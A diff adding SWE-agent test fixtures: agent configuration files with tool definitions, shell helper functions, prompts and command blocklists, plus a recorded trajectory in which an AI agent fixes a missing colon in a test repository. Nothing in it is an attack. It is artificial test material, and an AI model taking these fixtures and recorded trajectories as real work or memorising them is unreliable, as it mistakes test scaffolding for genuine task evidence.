"shell_check_error_template": "Your bash command contained syntax errors and was NOT executed. Please fix the syntax errors and try again. This can be the result of not adhering to the syntax for multi-line commands. Here is the output of `bash -n`:\n{bash_stdout}\n{bash_stderr}", + "command_cancelled_timeout_template": "The command {command!r} was cancelled because it took more than {timeout} seconds. Please try a different command that completes more quickly." + }, + "tools": { + "filter": { + "blocklist_error_template": "Interactive operation '{action}' is not supported by this environment.", + "blocklist": [ + "vim", + "vi", + "emacs", + "nano", + "nohup", + "git", + "gdb", + "less" + ], + "blocklist_standalone": [ + "python", + "python3", + "ipython", + "bash", + "sh", + "/bin/bash", + "/bin/sh", + "nohup", + "vi", + "vim", + "emacs", + "nano", + "su" + ], + "block_unless_regex": { + "radare2": "\\b(?:radare2)\\b.*\\s+-c\\s+.*", + "r2": "\\b(?:radare2)\\b.*\\s+-c\\s+.*" + } + }, + "bundles": [ + { + "path": "tools/registry", + "hidden_tools": [] + }, + { + "path": "tools/windowed", + "hidden_tools": [] + }, + { + "path": "tools/search", + "hidden_tools": [] + }, + { + "path": "tools/windowed_edit_replace", + "hidden_tools": [] + }, + { + "path": "tools/submit", + "hidden_tools": [] + } + ], + "env_variables": { + "WINDOW": 100, + "OVERLAP": 2 + }, + "submit_command": "submit", + "parse_function": { + "error_message": " Your output could not be parsed as a tool call.\n Please make sure your output includes a thought and exactly _ONE_ tool call.\n\n Make sure your tool call doesn't include any extra arguments that are not in the allowed arguments, and only use the allowed commands.\n\n You must invoke the tool directly using the function call format.\n ", + "type": "function_calling" + }, + "enable_bash_tool": true, + "format_error_template": "Your output could not be parsed as a tool call.\nPlease make sure your output includes a thought and exactly _ONE_ tool call.\n\nMake sure your tool call doesn't include any extra arguments that are not in the allowed arguments, and only use the allowed commands.\n\nYou must invoke the tool directly using the function call format.\n", + "command_docs": "bash:\n docstring: runs the given command directly in bash\n signature: \n arguments:\n - command (string) [required]: a command to run directly in the current shell\n\ngoto:\n docstring: moves the window to show \n signature: goto \n arguments:\n - line_number (integer) [required]: the line number to move the window to\n\nopen:\n docstring: opens the file at the given path in the editor. If line_number is provided, the window will be move to include that line\n signature: open \"\" []\n arguments:\n - path (string) [required]: the path to the file to open\n - line_number (integer) [optional]: the line number to move the window to (if not provided, the window will start at the top of the file)\n\ncreate:\n docstring: creates and opens a new file with the given name\n signature: create \n arguments:\n - filename (string) [required]: the name of the file to create\n\nscroll_up:\n docstring: moves the window down 100 lines\n signature: scroll_up\n\nscroll_down:\n docstring: moves the window down 100 lines\n signature: scroll_down\n\nfind_file:\n docstring: finds all files with the given name in dir. If dir is not provided, searches in the current directory\n signature: find_file []\n arguments:\n - file_name (string) [required]: the name of the file to search for\n - dir (string) [optional]: the directory to search in (if not provided, searches in the current directory)\n\nsearch_dir:\n docstring: searches for search_term in all files in dir. If dir is not provided, searches in the current directory\n signature: search_dir []\n arguments:\n - search_term (string) [required]: the term to search for\n - dir (string) [optional]: the directory to search in (if not provided, searches in the current directory)\n\nsearch_file:\n docstring: searches for search_term in file. If file is not provided, searches in the current open file\n signature: search_file []\n arguments:\n - search_term (string) [required]: the term to search for\n - file (string) [optional]: the file to search in (if not provided, searches in the current open file)\n\nedit:\n docstring: Replace first occurrence of with in the currently displayed lines. If --replace-all is specified, replace all occurrences of with .\n\n signature: edit []\n\n arguments:\n - search (string) [required]: the text to search for\n - replace (string) [required]: the text to replace the search with\n - replace-all (boolean) [optional]: replace all occurrences rather than the first occurrence within the displayed lines\n\ninsert:\n docstring: Insert at the end of the currently opened file or after if specified.\n\n signature: insert [--line ]\n\n arguments:\n - text (string) [required]: the text to insert\n - line (integer) [optional]: the line number to insert the text as new lines after\n\nsubmit:\n docstring: submits the current file\n signature: submit\n\n", + "multi_line_command_endings": {}, + "submit_command_end_name": null, + "reset_commands": [], + "execution_timeout": 30, + "install_timeout": 300 + }, + "history_processors": [ + { + "n": 5, + "type": "last_n_observations" + } + ], + "model": { + "name": "gpt-4o", + "per_instance_cost_limit": 3.0, + "total_cost_limit": 0.0, + "temperature": 1.0, + "top_p": 1.0, + "api_base": null, + "api_version": null, + "api_key": null, + "stop": [], + "completion_kwargs": {}, + "convert_system_to_user": false, + "retry": { + "retries": 5, + "min_wait": 1.0, + "max_wait": 15.0 + } + }, + "max_requeries": 3 + }, + "problem_statement": { + "github_url": "https://github.com/SWE-agent/test-repo/issues/1", + "type": "github", + "id": "SWE-agent__test-repo-i1" + }, + "actions": { + "open_pr": false, + "pr_config": { + "skip_if_commits_reference_issue": true + }, + "apply_patch_locally": false + }, + "env_var_path": null + } +} \ No newline at end of file diff --git a/tests/test_data/trajectories/gpt4__swe-agent-test-repo__default_from_url__t-0.00__p-0.95__c-3.00__install-1/solution_missing_colon.py b/tests/test_data/trajectories/gpt4__swe-agent-test-repo__default_from_url__t-0.00__p-0.95__c-3.00__install-1/solution_missing_colon.py new file mode 100644 index 0000000..ec220af --- /dev/null +++ b/tests/test_data/trajectories/gpt4__swe-agent-test-repo__default_from_url__t-0.00__p-0.95__c-3.00__install-1/solution_missing_colon.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python3 + + +def division(a: float, b: float) -> float: + if b == 0: + raise ValueError("Cannot divide by zero") + return a / b + + +if __name__ == "__main__": + try: + print(division(23, 0)) + except ValueError as e: + print(e) + diff --git a/tests/test_data/trajectories/gpt4__swe-agent__test-repo__default_from_url__t-0.00__p-0.95__c-3.00__install-1/args.yaml b/tests/test_data/trajectories/gpt4__swe-agent__test-repo__default_from_url__t-0.00__p-0.95__c-3.00__install-1/args.yaml new file mode 100644 index 0000000..7c3ad2b --- /dev/null +++ b/tests/test_data/trajectories/gpt4__swe-agent__test-repo__default_from_url__t-0.00__p-0.95__c-3.00__install-1/args.yaml @@ -0,0 +1,518 @@ +actions: + open_pr: false + push_gh_repo_url: '' + skip_if_commits_reference_issue: true +agent: + config: + _commands: + - arguments: + line_number: + description: the line number to move the window to (if not provided, the + window will start at the top of the file) + required: false + type: integer + path: + description: the path to the file to open + required: true + type: string + code: 'open() { if [ -z "$1" ] then echo "Usage: open " return fi # + Check if the second argument is provided if [ -n "$2" ]; then # + Check if the provided argument is a valid number if ! [[ $2 =~ ^[0-9]+$ + ]]; then echo "Usage: open []" echo + "Error: must be a number" return # Exit if the line + number is not valid fi local max_line=$(awk ''END {print NR}'' + $1) if [ $2 -gt $max_line ]; then echo "Warning: + ($2) is greater than the number of lines in the file ($max_line)" echo + "Warning: Setting to $max_line" local line_number=$(jq + -n "$max_line") # Set line number to max if greater than max elif + [ $2 -lt 1 ]; then echo "Warning: ($2) is less than + 1" echo "Warning: Setting to 1" local + line_number=$(jq -n "1") # Set line number to 1 if less than 1 else local + OFFSET=$(jq -n "$WINDOW/6" | jq ''floor'') local line_number=$(jq + -n "[$2 + $WINDOW/2 - $OFFSET, 1] | max | floor") fi else local + line_number=$(jq -n "$WINDOW/2") # Set default line number if not provided fi if + [ -f "$1" ]; then export CURRENT_FILE=$(realpath $1) export + CURRENT_LINE=$line_number _constrain_line _print elif [ -d + "$1" ]; then echo "Error: $1 is a directory. You can only open files. + Use cd or ls to navigate directories." else echo "File $1 not found" fi}' + docstring: opens the file at the given path in the editor. If line_number is + provided, the window will be move to include that line + end_name: null + name: open + signature: open [] + - arguments: + line_number: + description: the line number to move the window to + required: true + type: integer + code: 'goto() { if [ $# -gt 1 ]; then echo "goto allows only one line + number at a time." return fi if [ -z "$CURRENT_FILE" ] then echo + "No file open. Use the open command first." return fi if [ -z + "$1" ] then echo "Usage: goto " return fi if + ! [[ $1 =~ ^[0-9]+$ ]] then echo "Usage: goto " echo + "Error: must be a number" return fi local max_line=$(awk + ''END {print NR}'' $CURRENT_FILE) if [ $1 -gt $max_line ] then echo + "Error: must be less than or equal to $max_line" return fi local + OFFSET=$(jq -n "$WINDOW/6" | jq ''floor'') export CURRENT_LINE=$(jq -n + "[$1 + $WINDOW/2 - $OFFSET, 1] | max | floor") _constrain_line _print}' + docstring: moves the window to show + end_name: null + name: goto + signature: goto + - arguments: null + code: scroll_down() { if [ -z "$CURRENT_FILE" ] then echo "No file + open. Use the open command first." return fi export CURRENT_LINE=$(jq + -n "$CURRENT_LINE + $WINDOW - $OVERLAP") _constrain_line _print} + docstring: moves the window down {WINDOW} lines + end_name: null + name: scroll_down + signature: scroll_down + - arguments: null + code: scroll_up() { if [ -z "$CURRENT_FILE" ] then echo "No file + open. Use the open command first." return fi export CURRENT_LINE=$(jq + -n "$CURRENT_LINE - $WINDOW + $OVERLAP") _constrain_line _print} + docstring: moves the window down {WINDOW} lines + end_name: null + name: scroll_up + signature: scroll_down + - arguments: + filename: + description: the name of the file to create + required: true + type: string + code: "create() { if [ -z \"$1\" ]; then echo \"Usage: create \"\ + \ return fi # Check if the file already exists if [ -e \"\ + $1\" ]; then echo \"Error: File '$1' already exists.\"\t\topen \"$1\"\ + \ return fi # Create the file an empty new line printf \"\\\ + n\" > \"$1\" # Use the existing open command to open the created file \ + \ open \"$1\"}" + docstring: creates and opens a new file with the given name + end_name: null + name: create + signature: create + - arguments: null + code: 'submit() { cd $ROOT # Check if the patch file exists and is non-empty if + [ -s "/root/test.patch" ]; then # Apply the patch in reverse git + apply -R < "/root/test.patch" fi git add -A git diff --cached > model.patch echo + "<>"}' + docstring: submits your current code and terminates the session + end_name: null + name: submit + signature: submit + - arguments: + dir: + description: the directory to search in (if not provided, searches in the + current directory) + required: false + type: string + search_term: + description: the term to search for + required: true + type: string + code: 'search_dir() { if [ $# -eq 1 ]; then local search_term="$1" local + dir="./" elif [ $# -eq 2 ]; then local search_term="$1" if + [ -d "$2" ]; then local dir="$2" else echo "Directory + $2 not found" return fi else echo "Usage: search_dir + []" return fi dir=$(realpath "$dir") local + matches=$(find "$dir" -type f ! -path ''*/.*'' -exec grep -nIH -- "$search_term" + {} + | cut -d: -f1 | sort | uniq -c) # if no matches, return if [ -z + "$matches" ]; then echo "No matches found for \"$search_term\" in $dir" return fi # + Calculate total number of matches local num_matches=$(echo "$matches" | + awk ''{sum+=$1} END {print sum}'') # calculate total number of files matched local + num_files=$(echo "$matches" | wc -l | awk ''{$1=$1; print $0}'') # if num_files + is > 100, print an error if [ $num_files -gt 100 ]; then echo "More + than $num_files files matched for \"$search_term\" in $dir. Please narrow + your search." return fi echo "Found $num_matches matches + for \"$search_term\" in $dir:" echo "$matches" | awk ''{$2=$2; gsub(/^\.+\/+/, + "./", $2); print $2 " ("$1" matches)"}'' echo "End of matches for \"$search_term\" + in $dir"}' + docstring: searches for search_term in all files in dir. If dir is not provided, + searches in the current directory + end_name: null + name: search_dir + signature: search_dir [] + - arguments: + file: + description: the file to search in (if not provided, searches in the current + open file) + required: false + type: string + search_term: + description: the term to search for + required: true + type: string + code: 'search_file() { # Check if the first argument is provided if [ + -z "$1" ]; then echo "Usage: search_file []" return fi # + Check if the second argument is provided if [ -n "$2" ]; then # + Check if the provided argument is a valid file if [ -f "$2" ]; then local + file="$2" # Set file if valid else echo "Usage: search_file + []" echo "Error: File name $2 not found. Please + provide a valid file name." return # Exit if the file is not valid fi else # + Check if a file is open if [ -z "$CURRENT_FILE" ]; then echo + "No file open. Use the open command first." return # Exit if no + file is open fi local file="$CURRENT_FILE" # Set file to the + current open file fi local search_term="$1" file=$(realpath "$file") # + Use grep to directly get the desired formatted output local matches=$(grep + -nH -- "$search_term" "$file") # Check if no matches were found if [ + -z "$matches" ]; then echo "No matches found for \"$search_term\" in + $file" return fi # Calculate total number of matches local + num_matches=$(echo "$matches" | wc -l | awk ''{$1=$1; print $0}'') # + calculate total number of lines matched local num_lines=$(echo "$matches" + | cut -d: -f1 | sort | uniq | wc -l | awk ''{$1=$1; print $0}'') # if num_lines + is > 100, print an error if [ $num_lines -gt 100 ]; then echo "More + than $num_lines lines matched for \"$search_term\" in $file. Please narrow + your search." return fi # Print the total number of matches and + the matches themselves echo "Found $num_matches matches for \"$search_term\" + in $file:" echo "$matches" | cut -d: -f1-2 | sort -u -t: -k2,2n | while + IFS=: read -r filename line_number; do echo "Line $line_number:$(sed + -n "${line_number}p" "$file")" done echo "End of matches for \"$search_term\" + in $file"}' + docstring: searches for search_term in file. If file is not provided, searches + in the current open file + end_name: null + name: search_file + signature: search_file [] + - arguments: + dir: + description: the directory to search in (if not provided, searches in the + current directory) + required: false + type: string + file_name: + description: the name of the file to search for + required: true + type: string + code: 'find_file() { if [ $# -eq 1 ]; then local file_name="$1" local + dir="./" elif [ $# -eq 2 ]; then local file_name="$1" if + [ -d "$2" ]; then local dir="$2" else echo "Directory + $2 not found" return fi else echo "Usage: find_file + []" return fi dir=$(realpath "$dir") local + matches=$(find "$dir" -type f -name "$file_name") # if no matches, return if + [ -z "$matches" ]; then echo "No matches found for \"$file_name\" in + $dir" return fi # Calculate total number of matches local + num_matches=$(echo "$matches" | wc -l | awk ''{$1=$1; print $0}'') echo + "Found $num_matches matches for \"$file_name\" in $dir:" echo "$matches" + | awk ''{print $0}''}' + docstring: finds all files with the given name in dir. If dir is not provided, + searches in the current directory + end_name: null + name: find_file + signature: find_file [] + - arguments: + end_line: + description: the line number to end the edit at (inclusive) + required: true + type: integer + replacement_text: + description: the text to replace the current selection with + required: true + type: string + start_line: + description: the line number to start the edit at + required: true + type: integer + code: 'edit() { if [ -z "$CURRENT_FILE" ] then echo ''No file open. + Use the `open` command first.'' return fi local start_line="$(echo + $1: | cut -d: -f1)" local end_line="$(echo $1: | cut -d: -f2)" if [ + -z "$start_line" ] || [ -z "$end_line" ] then echo "Usage: edit + :" return fi local re=''^[0-9]+$'' if + ! [[ $start_line =~ $re ]]; then echo "Usage: edit :" echo + "Error: start_line must be a number" return fi if ! [[ $end_line + =~ $re ]]; then echo "Usage: edit :" echo + "Error: end_line must be a number" return fi # Bash array starts + at 0, so let''s adjust local start_line=$((start_line - 1)) local end_line=$((end_line)) local + line_count=0 local replacement=() while IFS= read -r line do replacement+=("$line") ((line_count++)) done # + Create a backup of the current file cp "$CURRENT_FILE" "/root/$(basename + "$CURRENT_FILE")_backup" # Read the file line by line into an array mapfile + -t lines < "$CURRENT_FILE" local new_lines=("${lines[@]:0:$start_line}" + "${replacement[@]}" "${lines[@]:$((end_line))}") # Write the new stuff + directly back into the original file printf "%s\n" "${new_lines[@]}" >| + "$CURRENT_FILE" # Run linter if [[ $CURRENT_FILE == *.py ]]; then lint_output=$(flake8 + --select=F821,F822,F831,E111,E112,E113,E999,E902 "$CURRENT_FILE" 2>&1) else # + do nothing lint_output="" fi # if there is no output, then the + file is good if [ -z "$lint_output" ]; then export CURRENT_LINE=$start_line _constrain_line _print echo + "File updated. Please review the changes and make sure they are correct (correct + indentation, no duplicate lines, etc). Edit the file again if necessary." else echo + "Your proposed edit has introduced new syntax error(s). Please understand + the fixes and retry your edit command." echo "" echo "ERRORS:" _split_string + "$lint_output" echo "" # Save original values original_current_line=$CURRENT_LINE original_window=$WINDOW # + Update values export CURRENT_LINE=$(( (line_count / 2) + start_line + )) # Set to "center" of edit export WINDOW=$((line_count + 10)) # Show + +/- 5 lines around edit echo "This is how your edit would have looked + if applied" echo "-------------------------------------------------" _constrain_line _print echo + "-------------------------------------------------" echo "" # + Restoring CURRENT_FILE to original contents. cp "/root/$(basename "$CURRENT_FILE")_backup" + "$CURRENT_FILE" export CURRENT_LINE=$(( ((end_line - start_line + 1) + / 2) + start_line )) export WINDOW=$((end_line - start_line + 10)) echo + "This is the original code before your edit" echo "-------------------------------------------------" _constrain_line _print echo + "-------------------------------------------------" # Restore original + values export CURRENT_LINE=$original_current_line export WINDOW=$original_window echo + "Your changes have NOT been applied. Please fix your edit command and try + again." echo "You either need to 1) Specify the correct start/end line + arguments or 2) Correct your edit code." echo "DO NOT re-run the same + failed edit command. Running it again will lead to the same error." fi # + Remove backup file rm -f "/root/$(basename "$CURRENT_FILE")_backup"}' + docstring: replaces lines through (inclusive) with the + given text in the open file. The replacement text is terminated by a line + with only end_of_edit on it. All of the will be entered, + so make sure your indentation is formatted properly. Python files will be + checked for syntax errors after the edit. If the system detects a syntax error, + the edit will not be executed. Simply try to edit the file again, but make + sure to read the error message and modify the edit command you issue accordingly. + Issuing the same command a second time will just lead to the same error message + again. + end_name: end_of_edit + name: edit + signature: |- + edit : + + end_of_edit + _subroutines: {} + blocklist: + - vim + - vi + - emacs + - nano + - nohup + - git + blocklist_error_template: Interactive operation '{name}' is not supported by this + environment + blocklist_standalone: + - python + - python3 + - ipython + - bash + - sh + - exit + - /bin/bash + - /bin/sh + - nohup + - vi + - vim + - emacs + - nano + command_docs: |+ + open: + docstring: opens the file at the given path in the editor. If line_number is provided, the window will be move to include that line + signature: open [] + arguments: + - path (string) [required]: the path to the file to open + - line_number (integer) [optional]: the line number to move the window to (if not provided, the window will start at the top of the file) + + goto: + docstring: moves the window to show + signature: goto + arguments: + - line_number (integer) [required]: the line number to move the window to + + scroll_down: + docstring: moves the window down {WINDOW} lines + signature: scroll_down + + scroll_up: + docstring: moves the window down {WINDOW} lines + signature: scroll_down + + create: + docstring: creates and opens a new file with the given name + signature: create + arguments: + - filename (string) [required]: the name of the file to create + + submit: + docstring: submits your current code and terminates the session + signature: submit + + search_dir: + docstring: searches for search_term in all files in dir. If dir is not provided, searches in the current directory + signature: search_dir [] + arguments: + - search_term (string) [required]: the term to search for + - dir (string) [optional]: the directory to search in (if not provided, searches in the current directory) + + search_file: + docstring: searches for search_term in file. If file is not provided, searches in the current open file + signature: search_file [] + arguments: + - search_term (string) [required]: the term to search for + - file (string) [optional]: the file to search in (if not provided, searches in the current open file) + + find_file: + docstring: finds all files with the given name in dir. If dir is not provided, searches in the current directory + signature: find_file [] + arguments: + - file_name (string) [required]: the name of the file to search for + - dir (string) [optional]: the directory to search in (if not provided, searches in the current directory) + + edit: + docstring: replaces lines through (inclusive) with the given text in the open file. The replacement text is terminated by a line with only end_of_edit on it. All of the will be entered, so make sure your indentation is formatted properly. Python files will be checked for syntax errors after the edit. If the system detects a syntax error, the edit will not be executed. Simply try to edit the file again, but make sure to read the error message and modify the edit command you issue accordingly. Issuing the same command a second time will just lead to the same error message again. + signature: edit : + + end_of_edit + arguments: + - start_line (integer) [required]: the line number to start the edit at + - end_line (integer) [required]: the line number to end the edit at (inclusive) + - replacement_text (string) [required]: the text to replace the current selection with + + command_files: + - config/commands/defaults.sh + - config/commands/search.sh + - config/commands/edit_linting.sh + - config/commands/_split_string.py + demonstration_template: | + Here is a demonstration of how to correctly accomplish this task. + It is included to show you how to correctly use the interface. + You do not need to follow exactly what is done in the demonstration. + --- DEMONSTRATION --- + {demonstration} + --- END OF DEMONSTRATION --- + demonstrations: + - trajectories/demonstrations/replay__marshmallow-code__marshmallow-1867__default__t-0.20__p-0.95__c-2.00__install-1___install_from_source/marshmallow-code__marshmallow-1867.traj + env_variables: + CURRENT_FILE: '' + CURRENT_LINE: '0' + OVERLAP: '2' + SEARCH_FILES: () + SEARCH_INDEX: '0' + SEARCH_RESULTS: () + WINDOW: '100' + format_error_template: | + Your output was not formatted correctly. You must always include one discussion and one command as part of your response. Make sure you do not have multiple discussion/command tags. + Please make sure your output precisely matches the following format: + DISCUSSION + Discuss here with yourself about what your planning and what you're going to do in this step. + + ``` + command(s) that you're going to run + ``` + history_processors: [] + instance_template: "We're currently solving the following issue within our repository.\ + \ Here's the issue text:\nISSUE:\n{issue}\n\nINSTRUCTIONS:\nNow, you're going\ + \ to solve this issue on your own. Your terminal session has started and you're\ + \ in the repository's root directory. You can use any bash commands or the special\ + \ interface to help you. Edit all the files you need to and run any checks or\ + \ tests that you want. \nRemember, YOU CAN ONLY ENTER ONE COMMAND AT A TIME.\ + \ You should always wait for feedback after every command. \nWhen you're satisfied\ + \ with all of the changes you've made, you can submit your changes to the code\ + \ base by simply running the submit command.\nNote however that you cannot use\ + \ any interactive session commands (e.g. python, vim) in this environment, but\ + \ you can write scripts and run them. E.g. you can write a python script and\ + \ then run it with `python .py`.\n\nNOTE ABOUT THE EDIT COMMAND:\ + \ Indentation really matters! When editing a file, make sure to insert appropriate\ + \ indentation before each line! \n\nIMPORTANT TIPS:\n1. Always start by trying\ + \ to replicate the bug that the issues discusses. \n If the issue includes\ + \ code for reproducing the bug, we recommend that you re-implement that in your\ + \ environment, and run it to make sure you can reproduce the bug.\n Then start\ + \ trying to fix it.\n When you think you've fixed the bug, re-run the bug\ + \ reproduction script to make sure that the bug has indeed been fixed.\n \n\ + \ If the bug reproduction script does not print anything when it successfully\ + \ runs, we recommend adding a print(\"Script completed successfully, no errors.\"\ + ) command at the end of the file,\n so that you can be sure that the script\ + \ indeed ran fine all the way through. \n\n2. If you run a command and it doesn't\ + \ work, try running a different command. A command that did not work once will\ + \ not work the second time unless you modify it!\n\n3. If you open a file and\ + \ need to get to an area around a specific line that is not in the first 100\ + \ lines, say line 583, don't just use the scroll_down command multiple times.\ + \ Instead, use the goto 583 command. It's much quicker. \n \n4. If the bug\ + \ reproduction script requires inputting/reading a specific file, such as buggy-input.png,\ + \ and you'd like to understand how to input that file, conduct a search in the\ + \ existing repo code, to see whether someone else has already done that. Do\ + \ this by running the command: find_file \"buggy-input.png\" If that doensn't\ + \ work, use the linux 'find' command. \n\n5. Always make sure to look at the\ + \ currently open file and the current working directory (which appears right\ + \ after the currently open file). The currently open file might be in a different\ + \ directory than the working directory! Note that some commands, such as 'create',\ + \ open files, so they might change the current open file.\n\n6. When editing\ + \ files, it is easy to accidentally specify a wrong line number or to write\ + \ code with incorrect indentation. Always check the code after you issue an\ + \ edit to make sure that it reflects what you wanted to accomplish. If it didn't,\ + \ issue another command to fix it.\n\n7. It may be necessary to install the\ + \ repository from source before you can run code. Please think about how to\ + \ install the environment from the repository directory if you need to do so.\n\ + \ \n\n(Open file: {open_file})\n(Current directory: {working_dir})\nbash-$" + next_step_no_output_template: |- + Your command ran successfully and did not produce any output. + (Open file: {open_file}) + (Current directory: {working_dir}) + bash-$ + next_step_template: |- + {observation} + (Open file: {open_file}) + (Current directory: {working_dir}) + bash-$ + parse_command: {} + parse_function: {} + put_demos_in_history: false + strategy_template: null + submit_command: submit + subroutine_types: [] + system_template: "SETTING: You are an autonomous programmer, and you're working\ + \ directly in the command line with a special interface.\n\nThe special interface\ + \ consists of a file editor that shows you {WINDOW} lines of a file at a time.\n\ + In addition to typical bash commands, you can also use the following commands\ + \ to help you navigate and edit files.\n\nCOMMANDS:\n{command_docs}\n\nPlease\ + \ note that THE EDIT COMMAND REQUIRES PROPER INDENTATION. \nIf you'd like to\ + \ add the line ' print(x)' you must fully write that out, with all those\ + \ spaces before the code! Indentation is important and code that is not indented\ + \ correctly will fail and require fixing before it can be run.\n\nRESPONSE FORMAT:\n\ + Your shell prompt is formatted as follows:\n(Open file: ) $\n\n\ + You need to format your output using two fields; discussion and command.\nYour\ + \ output should always include _one_ discussion and _one_ command field EXACTLY\ + \ as in the following example:\nDISCUSSION\nFirst I'll start by using ls to\ + \ see what files are in the current directory. Then maybe we can look at some\ + \ relevant files to see what they look like.\n```\nls -a\n```\n\nYou should\ + \ only include a *SINGLE* command in the command section and then wait for a\ + \ response from the shell before continuing with more discussion and commands.\ + \ Everything you include in the DISCUSSION section will be saved for future\ + \ reference.\nIf you'd like to issue two commands at once, PLEASE DO NOT DO\ + \ THAT! Please instead first submit just the first command, and then after receiving\ + \ a response you'll be able to issue the second command. \nYou're free to use\ + \ any other bash commands you want (e.g. find, grep, cat, ls, cd) in addition\ + \ to the special commands listed above.\nHowever, the environment does NOT support\ + \ interactive session commands (e.g. python, vim), so please do not invoke them." + util_functions: + - arguments: null + code: '_print() { local total_lines=$(awk ''END {print NR}'' $CURRENT_FILE) echo + "[File: $(realpath $CURRENT_FILE) ($total_lines lines total)]" lines_above=$(jq + -n "$CURRENT_LINE - $WINDOW/2" | jq ''[0, .] | max | floor'') lines_below=$(jq + -n "$total_lines - $CURRENT_LINE - $WINDOW/2" | jq ''[0, .] | max | round'') if + [ $lines_above -gt 0 ]; then echo "($lines_above more lines above)" fi cat + $CURRENT_FILE | grep -n $ | head -n $(jq -n "[$CURRENT_LINE + $WINDOW/2, $WINDOW/2] + | max | floor") | tail -n $(jq -n "$WINDOW") if [ $lines_below -gt 0 ]; + then echo "($lines_below more lines below)" fi}' + docstring: null + end_name: null + name: _print + signature: _print + - arguments: null + code: _constrain_line() { if [ -z "$CURRENT_FILE" ] then echo "No + file open. Use the open command first." return fi local max_line=$(awk + 'END {print NR}' $CURRENT_FILE) local half_window=$(jq -n "$WINDOW/2" | + jq 'floor') export CURRENT_LINE=$(jq -n "[$CURRENT_LINE, $max_line - $half_window] + | min") export CURRENT_LINE=$(jq -n "[$CURRENT_LINE, $half_window] | max")} + docstring: null + end_name: null + name: _constrain_line + signature: _constrain_line + config_file: config/default_from_url.yaml + model: + host_url: localhost:11434 + model_name: gpt4 + per_instance_cost_limit: 3.0 + replay_path: null + temperature: 0.0 + top_p: 0.95 + total_cost_limit: 0.0 +environment: + base_commit: null + container_name: null + data_path: https://github.com/klieret/swe-agent-test-repo/issues/1 + image_name: sweagent/swe-agent:latest + install_environment: true + no_mirror: false + split: dev + timeout: 35 + verbose: true +instance_filter: .* +skip_existing: false +suffix: '' diff --git a/tests/test_data/trajectories/gpt4__swe-agent__test-repo__default_from_url__t-0.00__p-0.95__c-3.00__install-1/swe-agent__test-repo-i1.traj b/tests/test_data/trajectories/gpt4__swe-agent__test-repo__default_from_url__t-0.00__p-0.95__c-3.00__install-1/swe-agent__test-repo-i1.traj new file mode 100644 index 0000000..4da9917 --- /dev/null +++ b/tests/test_data/trajectories/gpt4__swe-agent__test-repo__default_from_url__t-0.00__p-0.95__c-3.00__install-1/swe-agent__test-repo-i1.traj @@ -0,0 +1,124 @@ +{ + "environment": "swe_main", + "trajectory": [ + { + "action": "find_file \"missing_colon.py\"\n", + "observation": "Found 1 matches for \"missing_colon.py\" in /klieret__swe-agent-test-repo:\n/klieret__swe-agent-test-repo/tests/missing_colon.py\n", + "response": "The issue indicates that there is a syntax error in the `missing_colon.py` file, specifically that a colon is missing at the end of a function definition. The error message points to line 4 in the file. To address this issue, we should first locate the `missing_colon.py` file and then open it to inspect and correct the syntax error.\n\nLet's start by finding the `missing_colon.py` file within the current repository.\n\n```\nfind_file \"missing_colon.py\"\n```", + "state": "{\"open_file\": \"n/a\", \"working_dir\": \"/klieret__swe-agent-test-repo\"}\n", + "thought": "The issue indicates that there is a syntax error in the `missing_colon.py` file, specifically that a colon is missing at the end of a function definition. The error message points to line 4 in the file. To address this issue, we should first locate the `missing_colon.py` file and then open it to inspect and correct the syntax error.\n\nLet's start by finding the `missing_colon.py` file within the current repository.\n\n" + }, + { + "action": "open tests/missing_colon.py\n", + "observation": "[File: /klieret__swe-agent-test-repo/tests/missing_colon.py (10 lines total)]\n1:#!/usr/bin/env python3\n2:\n3:\n4:def division(a: float, b: float) -> float\n5: return a/b\n6:\n7:\n8:if __name__ == \"__main__\":\n9: print(division(123, 15))\n10:\n", + "response": "The `missing_colon.py` file is located in the `tests` directory. Let's open the file to inspect the syntax error mentioned in the issue.\n\n```\nopen tests/missing_colon.py\n```", + "state": "{\"open_file\": \"n/a\", \"working_dir\": \"/klieret__swe-agent-test-repo\"}\n", + "thought": "The `missing_colon.py` file is located in the `tests` directory. Let's open the file to inspect the syntax error mentioned in the issue.\n\n" + }, + { + "action": "edit 4:4\ndef division(a: float, b: float) -> float:\nend_of_edit\n", + "observation": "[File: /klieret__swe-agent-test-repo/tests/missing_colon.py (10 lines total)]\n1:#!/usr/bin/env python3\n2:\n3:\n4:def division(a: float, b: float) -> float:\n5: return a/b\n6:\n7:\n8:if __name__ == \"__main__\":\n9: print(division(123, 15))\n10:\nFile updated. Please review the changes and make sure they are correct (correct indentation, no duplicate lines, etc). Edit the file again if necessary.\n", + "response": "The syntax error is indeed on line 4, where the function definition for `division` is missing a colon at the end. Let's add the missing colon to fix the syntax error.\n\n```\nedit 4:4\ndef division(a: float, b: float) -> float:\nend_of_edit\n```", + "state": "{\"open_file\": \"/klieret__swe-agent-test-repo/tests/missing_colon.py\", \"working_dir\": \"/klieret__swe-agent-test-repo\"}\n", + "thought": "The syntax error is indeed on line 4, where the function definition for `division` is missing a colon at the end. Let's add the missing colon to fix the syntax error.\n\n" + }, + { + "action": "python tests/missing_colon.py\n", + "observation": "8.2\n", + "response": "The syntax error has been corrected by adding the missing colon at the end of the function definition on line 4. To ensure that the fix is correct and that there are no other issues with the `missing_colon.py` file, we should run the file.\n\n```\npython tests/missing_colon.py\n```", + "state": "{\"open_file\": \"/klieret__swe-agent-test-repo/tests/missing_colon.py\", \"working_dir\": \"/klieret__swe-agent-test-repo\"}\n", + "thought": "The syntax error has been corrected by adding the missing colon at the end of the function definition on line 4. To ensure that the fix is correct and that there are no other issues with the `missing_colon.py` file, we should run the file.\n\n" + }, + { + "action": "submit\n", + "observation": "\ndiff --git a/tests/missing_colon.py b/tests/missing_colon.py\nindex 20edef5..5857437 100755\n--- a/tests/missing_colon.py\n+++ b/tests/missing_colon.py\n@@ -1,7 +1,7 @@\n #!/usr/bin/env python3\n \n \n-def division(a: float, b: float) -> float\n+def division(a: float, b: float) -> float:\n return a/b\n \n \n", + "response": "The `missing_colon.py` script ran successfully and outputted the result of the division function, which indicates that the syntax error has been resolved. Now that the issue is fixed, we can submit the changes to the code base.\n\n```\nsubmit\n```", + "state": "{\"open_file\": \"/klieret__swe-agent-test-repo/tests/missing_colon.py\", \"working_dir\": \"/klieret__swe-agent-test-repo\"}\n", + "thought": "The `missing_colon.py` script ran successfully and outputted the result of the division function, which indicates that the syntax error has been resolved. Now that the issue is fixed, we can submit the changes to the code base.\n\n" + } + ], + "history": [ + { + "role": "system", + "content": "SETTING: You are an autonomous programmer, and you're working directly in the command line with a special interface.\n\nThe special interface consists 